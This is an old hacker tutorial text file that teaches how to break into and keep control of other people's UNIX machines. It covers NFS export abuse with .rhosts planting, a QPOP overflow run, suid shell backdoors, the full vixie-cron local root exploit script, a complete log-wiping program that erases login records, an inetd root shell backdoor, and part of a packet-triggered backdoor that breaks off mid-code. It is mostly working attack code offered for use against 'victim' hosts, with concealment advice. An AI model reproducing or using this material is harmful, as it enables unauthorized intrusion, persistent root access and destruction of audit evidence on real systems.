=======================================================================
Title    : Hacker Resource #1
Rls. ID  : SLX2K001.TXT
Author(s): sLash^ (sLash@securologix.com)
Rls. Date: 15/10/00
Rls. Site: http://www.securologix.com
=======================================================================

Greets to all RnD! ADM, LSD, Teso, ShadowPenguin, Mixter, w00w00, 
Insecurity (stanly) hope you still remember me. #49ers (rootenboy) you 
0wn3d me b4 =), Deepcase (#ech0), too all eggdrop coder :\, Sekure.org,
Lam3rz, 9x, UniG, b4b0, skrilla and all unf !@!#$%. And also too real 
coder and scriptkiddie out there. course, a big thanks to Necrose for 
our nice site, to my old friend reko clan IRCnet BILAL, Pisang and 
Roysan, to ex TNT crew form IRCNET, X-ORG and x-forces team members 
(1996). 

Special greetings to eLcc team members burnz ma first mastah, c0redump
(wh0re mastah) =) if you fly to US again I'm gonna *santau* you :P, 
jeunu (my linux mastah), ijal if ya come again I'm gonna kiss ya =) 
and all members that I can't remember their name.  

Documentation are for all ppl's out there who wanna know a bit about 
UNIX security sh1t and etc. I just wanna share this, coz a lot of 
ppl's asked about it on the net. So guys, 3nj0y 1t Th1s sh1t f0r y4! 


WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  
WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  
WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  
WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  
WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  WARNING  

You are about entering security documentation.


1. INTRODUCTION

Well, howdi folks... I guess you are all wondering who's this guy (me) 
that's trying to show you a bit of everything... ? Well, I ain't 
telling you anything of that... Copyright, and other stuff like this 
(below).

If you feel offended by this subject (hacking) or you think that you
could do better, don't read the below information... This file is for
educational purposes ONLY...;) I ain't responsible for any damages you
made after reading this...(I'm very serious...) So this can be copied, 
but not modified (send me the changes, and if they are good, I'll 
include them ). Don't read it, 'cuz it might be illegal. I warned 
you...
	
You'll learn some basic, simple and a bit hard tekneeq on how to r00t,
h4ck or 0wn local and remote machine. First thing you need is, your PC
:P =), *NIX Operating System or if ya don't have any your shell acc 
might be will help ya and basic computer language such perl, C or 
others.   


2. Getting access

Now, I'm going to show you an old tekneeq to gain access to remote 
machine by using export list. Now try looking for showmount file. 
Remember, you must be r00t to use this. othwersie, you'll get something
like this show up on your shell...

bash$ find / -name showmount
find: /var/log/setup/tmp: Permission denied
find: /var/spool/cron: Permission denied
find: /var/spool/atjobs: Permission denied
find: /var/spool/atspool: Permission denied
find: /var/run/sudo: Permission denied
ctrl-c

with r00t access

bash$  find / -name showmount
/usr/sbin/showmount
bash$

now try use this command

bash$ /usr/sbin/showmount -e host.com
RPC: Program not registered.

If ya g0t this msg, it means *get hell outta from that host* or try 
other tekneeq which I'll show you later. Now, let's see what happen to 
host vur with this export list :

bash$ /usr/sbin/showmount -e host.com
/usr  host.com
/usr2 host2.com
/home (everyone)
/home2 host3.com
/cdrom (everyone)

kay, look to /home (everyone) <--- this means you can own this home 
directory. Yeah ph33r! =) now try this :

bash$ mkdir /tmp/hack1
bash$ mount -t nfs host.com:/home /tmp/hack1/
bash$ ls -sal /tmp/mount
   total 9
   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
   1 drwxr-xr-x   3 ita      users        1024 Jun 22 19:18 ita/
   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
   1 drwxrx-r-x   3 rina     100          1024 Jul  6 13:42 rina/
   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 intan/
   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
   1 drwx------   3 test     100          1024 Oct  8 21:05 test/
   1 drwx------  15 102      100          1024 Oct 20 18:57 mangkuk/
  
Well, we wanna hack into mangkuk home.
bash$ whoami;id;uname -a
root
uid=0(root) gid=0(root) groups=100(users)
Linux ns 2.2.16 #97 Fri Jun 16 19:45:30 PDT 2000 i586 unknown
bash$ echo "mangkuk::102:2::/tmp/hack1:/bin/sh" >> /etc/passwd

Don't worry about the .bash_history will fix it later.

bash$ su - mangkuk
Welcome to mangkuk user.
mysite:~>ls -lsa /tmp/hack1/
   total 9
   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
   1 drwxr-xr-x   3 ita      users        1024 Jun 22 19:18 ita/
   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
   1 drwxrx-r-x   3 rina     100          1024 Jul  6 13:42 rina/
   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 intan/
   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
   1 drwx------   3 test     100          1024 Oct  8 21:05 test/
   1 drwx------  15 mangkuk   daemon       1024 Oct 20 18:57 mangkuk/

So we own this guy's home directory...

bash$ echo "+ +" > /home/mangkuk/.rhosts

or type pwd to check directory.

bash$ cd /
bash$ rlogin host.com

or if you don't have rlogin try use 

bash$ rsh host.com

Welcome to host.Com.
SunOs ver....(crap).
host.com$

This is the first old method that I always do.. Another method could be
to see if the site has an open port. That would mean we have chance to 
get an access coz it usually vulnerable. You can get port scanner on 
the net or use NMAP is better I think. Go to www.insecure.org and say 
thanks to Fydor :\ =) 

Now, let's see and r0x our sencond host.com

bash$ nmap host2.com

Starting nmap V. 2.54BETA5 ( www.insecure.org/nmap/ )
Interesting ports on host2.com (ip ere):
(The 1513 ports scanned but not shown below are in state: closed)
Port       State       Service
1/tcp      open        tcpmux                  
21/tcp     open        ftp                     
23/tcp     open        telnet                  
25/tcp     open        smtp                    
53/tcp     open        domain                  
79/tcp     open        finger                  
80/tcp     open        http                    
98/tcp     open        linuxconf               
110/tcp    open        pop-3                   
111/tcp    open        sunrpc                  
113/tcp    open        auth                    
137/tcp    filtered    netbios-ns              
138/tcp    filtered    netbios-dgm             
139/tcp    filtered    netbios-ssn             
513/tcp    open        login                   
514/tcp    open        shell                   
982/tcp    filtered    unknown                 
1024/tcp   open        kdm                     
1517/tcp   open        vpac                    
3128/tcp   open        squid-http              
7100/tcp   open        font-service            

Nmap run completed -- 1 IP address (1 host up) scanned in 32 seconds
bash$

Looks like host2.com open his 110 service. And that's bad coz we can 
get r00t from that service. Let's see what happens....

bash$ ./pop3 host2.com

QPOP 3.0b AUTH overflow (linux x86)

[uDc] : [0xbfffd150] : unsuccessful.
[uDc] : [0xbfffd344] : unsuccessful.
[uDc] : [0xbfffd538] : successful.

k4b0ooooOOOOoooOOOooo0mmmmmm 
L3t's d4nc3 !!! =)

uid=0(root) gid=0(root) groups=0(root)
Linux host2.com 2.2.12-20krsmp #1 Thu May 18 19:51:22 JST 2000 i586 unknown

Directory set to /



Note: This sploit will never give you a prompt

Looks like we g0t r00t =) Now, let's make some nice backdoor Change the
games passwd

passwd games 
Changing password for games
Enter the new password (minimum of 5, maximum of 127 characters)
Please use a combination of upper and lower case letters and numbers.
New password:
Re-enter new password: 
Password changed.
cp /bin/sh /bin/load
chmod a+s /bin/load
quit
bash$

What I'm tryin to do is make a simple root backdoor command. In this 
case command I was created 'load'. Now telnet to host2.com

bash$ telnet host2.com
Trying host2.com...
Connected to host2.com.
Escape character is '^]'.

ALZZA Linux release 6.1 (Linux One)
Kernel 2.2.12-20krsmp on an i686
login:games
password:
Sat Oct 14 03:54:07
games@host2.com$ load
games@host2.com# whoami;id
root
uid=2(games) gid=2(games) euid=0(root) egid=0(root) groups=2(games)
games@host2.com#

Now you need a suid.c to make our uid=0 and gid=0
Here's the code..

-cut-

main(argc,argv)
int argc;
char *argv[];
{
    setuid(0); setgid(0); 
        system("/bin/sh");
}

-cut-

compile this suid.c at /bin direcotry

games@host2.com# pwd
/bin
games@host2.com# cc suid.c -o crap
games@host2.com# rm suid.c

don't keep any *.c file on your rooted machine just save it on your own
pc =) Now try type 'crap' and see what happens.

games@host2.com# crap
bash# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
bash# 

EOF_

Remember, DO NOT adduser or any login on your rooted machine coz 
'adduser' might help your rooted admin think that his system was 
hacked by somebody. You are going to use 'games' login to access your 
rooted machine and your backdoor shell where I'll show you in step 4 
'Keeping access'. 0k3y p4l n0w ya g0t y0ur r00t b0x n0w. 3nj0y! We are 
going to next step.


3. Hacking Local r00t

In this section, you'll learning to root local root. It's means you 
have an account on your victim machine. You just want to gain a root 
access. Now, I will point to Linux rooting ere. There's a lot of sploit 
out there. I'm going to show you an old bugs on Linux system. It's not 
really old but it's r0x =)

victim.com$ id;uname -a
uid=1012(me) gid=100(users) groups=100(users)
Linux ns 2.2.16 #97 Fri Jun 16 19:45:30 PDT 2000 i586 unknown
victim.com$ ls -lsa /usr/bin/crontab
12 -rws--x--x   1 root     bin         10192 Jun 19 09:55 /usr/bin/crontab

----------------cut----------------

#!/bin/sh

clear

echo '------------------------------------------------------------------'
echo 'Marchew Hyperreal Industries                <marchew@dione.ids.pl>'
echo 'Stumilowy Las Team                       <100milowy@gdynia.ids.pl>'
echo '---------------------------- presents ----------------------------'
echo 
echo ' -= vixie-cron root sploit by Michal Zalewski <lcamtuf@ids.pl> =-'
echo

echo '[+] Checking dependencies:'

echo -n '   [*] vixie crontab: '

if [ -u /usr/bin/crontab -a -x /usr/bin/crontab ]; then
  echo "OK"
else
  echo "NOT FOUND!"
  exit 1
fi

echo -n '   [*] Berkeley Sendmail: '

if [ -f /usr/sbin/sendmail ]; then
  echo "OK"
else
  echo "NOT FOUND!"
  exit 1
fi

echo -n '   [*] gcc compiler: '

if [ -x /usr/bin/gcc ]; then
  echo "OK"
else
  echo "NOT FOUND!"
  exit 1
fi

echo '   [?] Dependiences not verified:'
echo '      [*] proper version of vixie crontab'
echo '      [*] writable /tmp without noexec/nosuid option'
echo '[+] Exploit started.'

echo "[+] Setting up .cf file for sendmail..."

cat >/tmp/vixie-cf <<__eof__
V7/Berkeley

O QueueDirectory=/tmp
O DefaultUser=0:0

R$+		\$#local $: \$1		regular local names

Mlocal,		P=/tmp/vixie-root, F=lsDFMAw5:/|@qSPfhn9, S=10/30, R=20/40,
		T=DNS/RFC822/X-Unix,
		A=vixie-root
__eof__

echo '[+] Setting up phase #1 tool (phase #2 tool compiler)...'

cat >/tmp/vixie-root <<__eof__
#!/bin/sh

gcc /tmp/vixie-own3d.c -o /tmp/vixie-own3d
chmod 6755 /tmp/vixie-own3d
__eof__

chmod 755 /tmp/vixie-root

echo '[+] Setting up phase #2 tool (rootshell launcher)...'

cat >/tmp/vixie-own3d.c <<__eof__
main() {
  setuid(0);
  setgid(0);
  unlink("/tmp/vixie-own3d");
  execl("/bin/sh","sh","-i",0);
}
__eof__

echo '[+] Putting evil crontab entry...'

crontab - <<__eof__
MAILTO='-C/tmp/vixie-cf dupek'
* * * * * nonexist
__eof__

echo '[+] Patience is a virtue... Wait up to 60 seconds.'

ILE=0

echo -n '[+] Tick.'

while [ $ILE -lt 50 ]; do
  sleep 2
  let ILE=ILE+1
  test -f /tmp/vixie-own3d && ILE=1000
  echo -n '.'
done

echo
echo '[+] Huh, done. Removing crontab entry...'

crontab -r

echo '[+] Removing helper files...'

rm -f /tmp/vixie-own3d.c /tmp/vixie-root /tmp/vixie-cf /tmp/df* /tmp/qf* &>/dev/null

echo '[*] And now...'

if [ -f /tmp/vixie-own3d ]; then
  echo '[+] Entering root shell, babe :)'
  echo
  /tmp/vixie-own3d
  echo
else
  echo '[-] Oops, no root shell found, patched system or configuration problem :('
fi

echo '[*] Exploit done.'

----------------cut----------------


victim.com$ sh rootcron.sh

------------------------------------------------------------------
Marchew Hyperreal Industries                <marchew@dione.ids.pl>
Stumilowy Las Team                       <100milowy@gdynia.ids.pl>
---------------------------- presents ----------------------------
 -= vixie-cron root sploit by Michal Zalewski <lcamtuf@ids.pl> =-

[+] Checking dependencies:
   [*] vixie crontab: OK
   [*] Berkeley Sendmail: OK
   [*] gcc compiler: OK
   [?] Dependiences not verified:
      [*] proper version of vixie crontab
      [*] writable /tmp without noexec/nosuid option
[+] Exploit started.
[+] Setting up .cf file for sendmail...
[+] Setting up phase #1 tool (phase #2 tool compiler)...
[+] Setting up phase #2 tool (rootshell launcher)...
[+] Putting evil crontab entry...
[+] Patience is a virtue... Wait up to 60 seconds.
[+] Tick.....................................................
[+] Huh, done. Removing crontab entry...
crontab 2.3.2
crontab file <opts>  replace crontab from file
crontab -    <opts>  replace crontab from stdin
crontab -u user      specify user
crontab -l [user]    list crontab for user
crontab -e [user]    edit crontab for user
crontab -d [user]    delete crontab for user
crontab -c dir       specify crontab directory
[+] Removing helper files...
[*] And now...
[+] Entering root shell, babe :)
bash# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
bash# 

Or you might try other sploit. I'm not going put other sploit ere coz 
fuckin tired ere besides i'm too lazy :P to do that :P. All you have to 
do is check the www.securityfocus.com and join the mailing list so you 
know that a certain machine got a new bugs. When I say *bugs* it means 
new sploit would be release. And this is good coz we'll get a new fresh 
sploit to r0x our new victim machine =) Or you can try other site. But 
I like http://www.hack.co.za coz it's really r0x and updated everyday =) 
What I'm tryin to tell you is don't keep the hacking news leave you 
behind =P 


4. Keeping access 

Once you gor root access of couse you need to maintain it so the admin
don't recognize or know that his b0x was rooted by you. Other things
you have to do is to clean all logs. And try install a nice trojan and
rootkit. You can find it on the web or http://packetstorm.securify.com 
I'm not going to put a trojan or rootkit ere coz it's might make some 
damage :P What I'm going to show you know is to hide your self on your 
rooted machine. Now create a directory somewhere deeper that system 
admin can't find it :P 

Lets try this directory :

bash# mkdir /usr/sbin/". "
bash# chmod 0600 /usr/sbin/". "
bash# cd /usr/sbin/"."

Note: this ". " directory are pretty nice. when you do a ls -lsa cmd it will hide to something similar on current directory. Now let's check who's logged on our rooted machine

bash# w
  8:52am  up 16 days, 12:11,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
games    pts/0    -cut-             6:22am  0.00s  0.80s   ?     -
bash# 

Lets hide ourself....

----------------cut----------------

#include <sys/types.h>
#include <sys/stat.h> 
#include <sys/uio.h>  
#ifndef NO_ACCT
#include <sys/acct.h>
#endif
#include <utmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h> 
#include <ctype.h> 
#include <string.h>
#include <pwd.h>   
#include <time.h>  
#include <stdlib.h>

#ifdef HAVE_LASTLOG_H
#include <lastlog.h> 
#endif

#ifdef HAVE_UTMPX
#include <utmpx.h>
#endif

#ifndef UTMP_FILE
#ifdef _PATH_UTMP
#define UTMP_FILE       _PATH_UTMP
#else
#define UTMP_FILE       "/var/adm/utmp"
#endif
#endif

#ifndef WTMP_FILE
#ifdef _PATH_WTMP 
#define WTMP_FILE       _PATH_WTMP
#else
#define WTMP_FILE       "/var/adm/wtmp"
#endif
#endif

#ifndef LASTLOG_FILE
#ifdef _PATH_LASTLOG
#define LASTLOG_FILE    _PATH_LASTLOG
#else
#define LASTLOG_FILE    "/var/adm/lastlog"
#endif
#endif

#ifndef ACCT_FILE
#define ACCT_FILE       "/var/adm/pacct"
#endif

#ifdef HAVE_UTMPX
   
#ifndef UTMPX_FILE
#define UTMPX_FILE      "/var/adm/utmpx"
#endif

#ifndef WTMPX_FILE
#define WTMPX_FILE      "/var/adm/wtmpx"
#endif

#endif /* HAVE_UTMPX */

#define BUFFSIZE        8192


/*
 * This function will copy the src file to the dst file.
 */
void
copy_file(char *src, char *dst)
{
        int     fd1, fd2;
        int     n;
        char    buf[BUFFSIZE];

        if ( (fd1 = open(src, O_RDONLY)) < 0 ) {
                fprintf(stderr, "ERROR: Opening %s during copy.\n", src);
                return;
        }
	
	if ( (fd2 = open(dst, O_WRONLY | O_CREAT | O_TRUNC)) < 0 ) {
                fprintf(stderr, "ERROR: Creating %s during copy.\n", dst);
                return;
        }

        while ( (n = read(fd1, buf, BUFFSIZE)) > 0)
                if (write(fd2, buf, n) != n) {
                        fprintf(stderr, "ERROR: Write error during copy.\n");
                        return;
                }

        if (n < 0) {
                fprintf(stderr, "ERROR: Read error during copy.\n");
                return;
        }
  
        close(fd1);
        close(fd2);
}   

 
/*
 * UTMP editing.  
 */
void
wipe_utmp(char *who, char *line)
{
        int             fd1;
        struct utmp     ut;

	printf("Patching %s .... ", UTMP_FILE);
        fflush(stdout);
                
        /*
         * Open the utmp file.
         */
        if ( (fd1 = open(UTMP_FILE, O_RDWR)) < 0 ) {
                fprintf(stderr, "ERROR: Opening %s\n", UTMP_FILE);
                return;
        }

        /*
         * Copy utmp file excluding relevent entries.
         */
        while ( read(fd1, &ut, sizeof(ut)) > 0)
                if ( !strncmp(ut.ut_name, who, strlen(who)) )
                        if (!line || (line &&
                          !strncmp(ut.ut_line, line, strlen(line)))) {
                                bzero((char *) &ut, sizeof(ut));
                                lseek(fd1, (int) -sizeof(ut), SEEK_CUR);
                                write(fd1, &ut, sizeof(ut));
                        }
 
        close(fd1);

        printf("Done.\n");
}
        
/*
 * UTMPX editing if supported.
 */
#ifdef HAVE_UTMPX
void            
wipe_utmpx(char *who, char *line)
{
        int             fd1;
        struct utmpx    utx;
                
        printf("Patching %s .... ", UTMPX_FILE);
        fflush(stdout);

        /*
         * Open the utmp file and temporary file.
         */
        if ( (fd1 = open(UTMPX_FILE, O_RDWR)) < 0 ) {
                fprintf(stderr, "ERROR: Opening %s\n", UTMPX_FILE);
                return;
        }
                                
        while ( (read(fd1, &utx, sizeof(utx)) ) > 0)
                if ( !strncmp(utx.ut_name, who, strlen(who)) )
                        if (!line || (line &&
                          !strncmp(utx.ut_line, line, strlen(line)))) {
                                bzero((char *) &utx, sizeof(utx));
                                lseek(fd1, (int) -sizeof(utx), SEEK_CUR);
                                write(fd1, &utx, sizeof(utx));
                        }
        
        close(fd1);

	printf("Done.\n");
}
#endif          

 
/*
 * WTMP editing.
 */             
void
wipe_wtmp(char *who, char *line)
{
        int             fd1;
        struct utmp     ut;
           
        printf("Patching %s .... ", WTMP_FILE);
        fflush(stdout);
                
        /*
         * Open the wtmp file and temporary file.
         */
        if ( (fd1 = open(WTMP_FILE, O_RDWR)) < 0 ) {
                fprintf(stderr, "ERROR: Opening %s\n", WTMP_FILE);
                return;
        }
                                
        /*
         * Determine offset of last relevent entry.
         */
        lseek(fd1, (long) -(sizeof(ut)), SEEK_END);
	while ( (read (fd1, &ut, sizeof(ut))) > 0) {
                if (!strncmp(ut.ut_name, who, strlen(who)))
                        if (!line || (line &&
                          !strncmp(ut.ut_line, line, strlen(line)))) {
                                bzero((char *) &ut, sizeof(ut));
                                lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR);
                                write(fd1, &ut, sizeof(ut));
                                break;
                        }
                lseek(fd1, (long) -(sizeof(ut) * 2), SEEK_CUR);
        }
 
        close(fd1);
        
        printf("Done.\n");
}
        
                
/*
 * WTMPX editing if supported.
 */
#ifdef HAVE_UTMPX
void
wipe_wtmpx(char *who, char *line)
{
        int             fd1;    
        struct utmpx    utx;
         
        printf("Patching %s .... ", WTMPX_FILE);
        fflush(stdout);

	/*
         * Open the utmp file and temporary file.
         */
        if ( (fd1 = open(WTMPX_FILE, O_RDWR)) < 0 ) {
                fprintf(stderr, "ERROR: Opening %s\n", WTMPX_FILE);
                return;
        }
                         
        /*
         * Determine offset of last relevent entry.
         */
        lseek(fd1, (long) -(sizeof(utx)), SEEK_END);
        while ( (read (fd1, &utx, sizeof(utx))) > 0) {
                if (!strncmp(utx.ut_name, who, strlen(who)))
                        if (!line || (line &&
                          !strncmp(utx.ut_line, line, strlen(line)))) {
                                bzero((char *) &utx, sizeof(utx));
                                lseek(fd1, (long) -(sizeof(utx)), SEEK_CUR);
                                write(fd1, &utx, sizeof(utx));
                                break;
                        }
                lseek(fd1, (int) -(sizeof(utx) * 2), SEEK_CUR);
        }
 
        close(fd1);
        
        printf("Done.\n");
}
#endif

/*
 * LASTLOG editing.
 */
void
wipe_lastlog(char *who, char *line, char *timestr, char *host)
{
        int             fd1;
        struct lastlog  ll;
        struct passwd   *pwd;
        struct tm       *tm;
        char            str[4];
        
        printf("Patching %s .... ", LASTLOG_FILE);
        fflush(stdout);
                          
        tm = (struct tm *) malloc( sizeof(struct tm) );
                                
        /*
         * Open the lastlog file.
         */
        if ( (fd1 = open(LASTLOG_FILE, O_RDWR)) < 0 ) {
                fprintf(stderr, "ERROR: Opening %s\n", LASTLOG_FILE);
                return;
        }
        
        if ( (pwd = getpwnam(who)) == NULL) {
                fprintf(stderr, "ERROR: Can't find user in passwd.\n");
                return;
	}
          
        lseek(fd1, (long) pwd->pw_uid * sizeof(struct lastlog), 0);
        bzero((char *) &ll, sizeof(ll));
   
        if (line)
                strncpy(ll.ll_line, line, strlen(line));
 
        if (timestr) {
                /* YYMMddhhmm */
                if (strlen(timestr) != 10) {
                        fprintf(stderr, "ERROR: Time format is YYMMddhhmm.\n");
                        return;
                }
        
                /*
                 * Extract Times.
                 */
                str[2] = 0;     
                str[0] = timestr[0];
                str[1] = timestr[1];
                tm->tm_year = atoi(str);
        
                str[0] = timestr[2];
                str[1] = timestr[3];
                tm->tm_mon = atoi(str) - 1;
        
                str[0] = timestr[4];
                str[1] = timestr[5];
                tm->tm_mday = atoi(str);

		str[0] = timestr[6];
                str[1] = timestr[7];
                tm->tm_hour = atoi(str);
   
                str[0] = timestr[8];
                str[1] = timestr[9];
                tm->tm_min = atoi(str);
                tm->tm_sec = 0;
                
                ll.ll_time = mktime(tm);
        }
                        
        if (host)
                strncpy(ll.ll_host, host, sizeof(ll.ll_host));
                  
                 
        write(fd1, (char *) &ll, sizeof(ll));
                
        close(fd1);
                
        printf("Done.\n");
}       
                
                
#ifndef NO_ACCT
/*      
 * ACCOUNT editing.
 */
void
wipe_acct(char *who, char *line)
{
        int             fd1, fd2;   
        struct acct     ac;
        char            ttyn[50];
        struct passwd   *pwd;
        struct stat     sbuf;
        char            *tmpf;
                
        printf("Patching %s .... ", ACCT_FILE);
        fflush(stdout);
         
        /*              
         * Open the acct file and temporary file.
         */
        if ( (fd1 = open(ACCT_FILE, O_RDONLY)) < 0 ) {
                fprintf(stderr, "ERROR: Opening %s\n", ACCT_FILE);
                return;
        }       
        
        /*      
         * Grab a unique temporary filename.
         */
        tmpf = tmpnam((char *) NULL);
                
        if ( (fd2 = open(tmpf, O_WRONLY | O_CREAT | O_TRUNC, 600)) < 0 ) {
                fprintf(stderr, "ERROR: Opening tmp ACCT file\n");
                return;
        }

	if ( (pwd = getpwnam(who)) == NULL) {
                fprintf(stderr, "ERROR: Can't find user in passwd.\n");
                return;
        }
        
        /*
         * Determine tty's device number
         */
        strcpy(ttyn, "/dev/");
        strcat(ttyn, line);
        if (stat(ttyn, &sbuf) < 0) {
                fprintf(stderr, "ERROR: Determining tty device number.\n");
                return; 
        }
           
        while ( read(fd1, &ac, sizeof(ac)) > 0 ) {
                if ( !(ac.ac_uid == pwd->pw_uid && ac.ac_tty == sbuf.st_rdev) )
                        write(fd2, &ac, sizeof(ac));
        }       
        
        close(fd1);
        close(fd2);
           
        copy_file(tmpf, ACCT_FILE);  
                
        if ( unlink(tmpf) < 0 ) {
                fprintf(stderr, "ERROR: Unlinking tmp WTMP file.\n");
                return;
        }

	printf("Done.\n");
}
#endif
         
        
void
usage()
{
        printf("USAGE: wipe [ u|w|l|a ] ...options...\n");
        printf("\n");
        printf("UTMP editing:\n");  
        printf("    Erase all usernames      :   wipe u [username]\n");
        printf("    Erase one username on tty:   wipe u [username] [tty]\n");
        printf("\n");
        printf("WTMP editing:\n");
        printf("   Erase last entry for user :   wipe w [username]\n");
        printf("   Erase last entry on tty   :   wipe w [username] [tty]\n");  
        printf("\n");
        printf("LASTLOG editing:\n");
        printf("   Blank lastlog for user    :   wipe l [username]\n");
        printf("   Alter lastlog entry       :   wipe l [username] [tty] [time] [host]\n");
        printf("        Where [time] is in the format [YYMMddhhmm]\n");
        printf("\n");
#ifndef NO_ACCT
        printf("ACCT editing:\n");
        printf("   Erase acct entries on tty :   wipe a [username] [tty]\n");
#endif
        exit(1);
}

int
main(int argc, char *argv[])
{        
        char    c;

        if (argc < 3)
                usage();
        
        /*
         * First character of first argument determines which file to edit.
         */
        c = toupper(argv[1][0]);
        
        /*
         * UTMP editing.
         */
        switch (c) { 
                /* UTMP */
                case 'U' :
                        if (argc == 3)
                                wipe_utmp(argv[2], (char *) NULL);
                        if (argc ==4)
                                wipe_utmp(argv[2], argv[3]);
        
#ifdef HAVE_UTMPX
                        if (argc == 3)
                                wipe_utmpx(argv[2], (char *) NULL);
                        if (argc == 4)
                                wipe_utmpx(argv[2], argv[3]);
#endif  
   
                        break;
                /* WTMP */
                case 'W' :
                        if (argc == 3)
                                wipe_wtmp(argv[2], (char *) NULL);
                        if (argc == 4)
                                wipe_wtmp(argv[2], argv[3]);
          
#ifdef HAVE_UTMPX
                        if (argc == 3)
                                wipe_wtmpx(argv[2], (char *) NULL);
                        if (argc == 4)
                                wipe_wtmpx(argv[2], argv[3]);
#endif
           
                        break;
                /* LASTLOG */
                case 'L' :
                        if (argc == 3)
                                wipe_lastlog(argv[2], (char *) NULL,
                                        (char *) NULL, (char *) NULL);
                        if (argc == 4)
                                wipe_lastlog(argv[2], argv[3], (char *) NULL,
                                                (char *) NULL);
                        if (argc == 5)
                                wipe_lastlog(argv[2], argv[3], argv[4],
                                                (char *) NULL);
                        if (argc == 6)
				wipe_lastlog(argv[2], argv[3], argv[4],
                                                argv[5]);
                        break;
#ifndef NO_ACCT
                /* ACCT */
                case 'A' :
                        if (argc != 4)
                                usage();
                        wipe_acct(argv[2], argv[3]);
                        break;
#endif
        }
                                
        return(0);
}

----------------cut----------------

bash# cc clean.c -o clean

type clean and you'll see a manual appear on your screen or do this :

bash# clean u games
Patching.... Done.
bash# clean w games 
Patching.... Done.
bash# clean l games localhost
Patching.... Done.
bash# w
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
bash#

Looks like no one logged :D Not at all, it's hide from finger too =).
Now, we need a daemon backdoor to keep our access more safe or 
something that admin don't know if he remove our 'games' login. Try his 
backdoor it's really r0x :P

bash# echo 'utcp	10101				# Utcp Networking' >>/etc/services
bash# echo 'utcp	stream	tcp	nowait	root	/bin/sh	-i >>/etc/inetd.conf
bash# killall -HUP inetd

Now try telnet to your rooted b0x on 10101 port from other machine
Lets see what happens :

host.com$ telnet host2.com 10101
Trying host2.com...
Connected to host2.com.
Escape character is '^]'.
bash# id;uname
uid=0(root) gid=0(root) groups=0(root)
Linux ns 2.2.12-20krsmp #97 Fri Jun 16 19:45:30 PDT 2000 i586 unknown
bash#
bash# exit
Connection closed by foreign host.
host.com$

We have a backdoor shell now. You can try other backdoor if you want 
try this sploit for your second backdoor shell =)


----------------cut----------------

/*
 Code by Phenoelit
 -
 gcc -DDEBUG -o <whatever> -I/where/ever/bpf -L/where/ever/bpf cd00r.c -lpcap
*/

#define CDR_INTERFACE		"eth0"
#define CDR_ADDRESS		"your-ip" 
#define CDR_PORTS		      "your-backdoor-port"
#define CDR_CODERESET
#define CDR_SENDER_ADDR
#define CDR_NOISE_COMMAND	"uDc"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netinet/in.h>                 /* for IPPROTO_bla consts */
#include <sys/socket.h>                 /* for inet_ntoa() */
#include <arpa/inet.h>                  /* for inet_ntoa() */
#include <netdb.h>			/* for gethostbyname() */
#include <sys/types.h>			/* for wait() */
#include <sys/wait.h>			/* for wait() */

#include <pcap.h>
#include <net/bpf.h>

#define ETHLENGTH 	14
#define IP_MIN_LENGTH 	20
#define CAPLENGTH	98



struct iphdr {
        u_char  ihl:4,        /* header length */
        version:4;              /* version */
        u_char  tos;          /* type of service */
        short   tot_len;      /* total length */
        u_short id;           /* identification */
        short   off;          /* fragment offset field */
        u_char  ttl;          /* time to live */
        u_char  protocol;     /* protocol */
        u_short check;        /* checksum */
        struct  in_addr saddr;
	struct  in_addr daddr;  /* source and dest address */
};

struct tcphdr {
        unsigned short int 	src_port;
	unsigned short int 	dest_port;
        unsigned long int 	seq_num;
        unsigned long int 	ack_num;
	unsigned short int	rawflags;
        unsigned short int 	window;
        long int 		crc_a_urgent;
        long int 		options_a_padding;
};


unsigned int 	cports[] = CDR_PORTS;
int		cportcnt = 0;
/* which is the next required port ? */
int		actport = 0;

#ifdef CDR_SENDER_ADDR

struct in_addr	sender;
#endif CDR_SENDER_ADDR


void cdr_open_door(void) {
    FILE	*f;

    char	*args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL};

    switch (fork()) {
	case -1: 
#ifdef DEBUG
	    printf("fork() failed ! Fuck !\n");
#endif DEBUG
	    return;
	case 0: 
	    /* To prevent zombies (inetd-zombies look quite stupid) we do
	     * a second fork() */
	    switch (fork()) {
		case -1: _exit(0);
		case 0: /*that's fine */
			 break;
		default: _exit(0);
	    }
	     break;

	default: 
	     wait(NULL);
	     return;
    }

    if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
    fprintf(f,"5002  stream  tcp     nowait  root    /bin/sh  sh\n");
    fclose(f);

    execv("/usr/sbin/inetd",args);
#ifdef DEBUG
    printf("Strange return from execvp() !\n");
#endif DEBUG
    exit (0);

}


/* error function for pcap lib */
void capterror(pcap_t *caps, char *message) {
    pcap_perror(caps,message);
    exit (-1);
}

/* signal counter/handler */
void signal_handler(int sig) {
    /* the ugly way ... */
    _exit(0);
}

void *smalloc(size_t size) {
    void	*p;

    if ((p=malloc(size))==NULL) {
	exit(-1);
    }
    memset(p,0,size);
    return p;
}


int main (int argc, char **argv) {

    /* variables for the pcap functions */
#define	CDR_BPF_PORT 	"port "
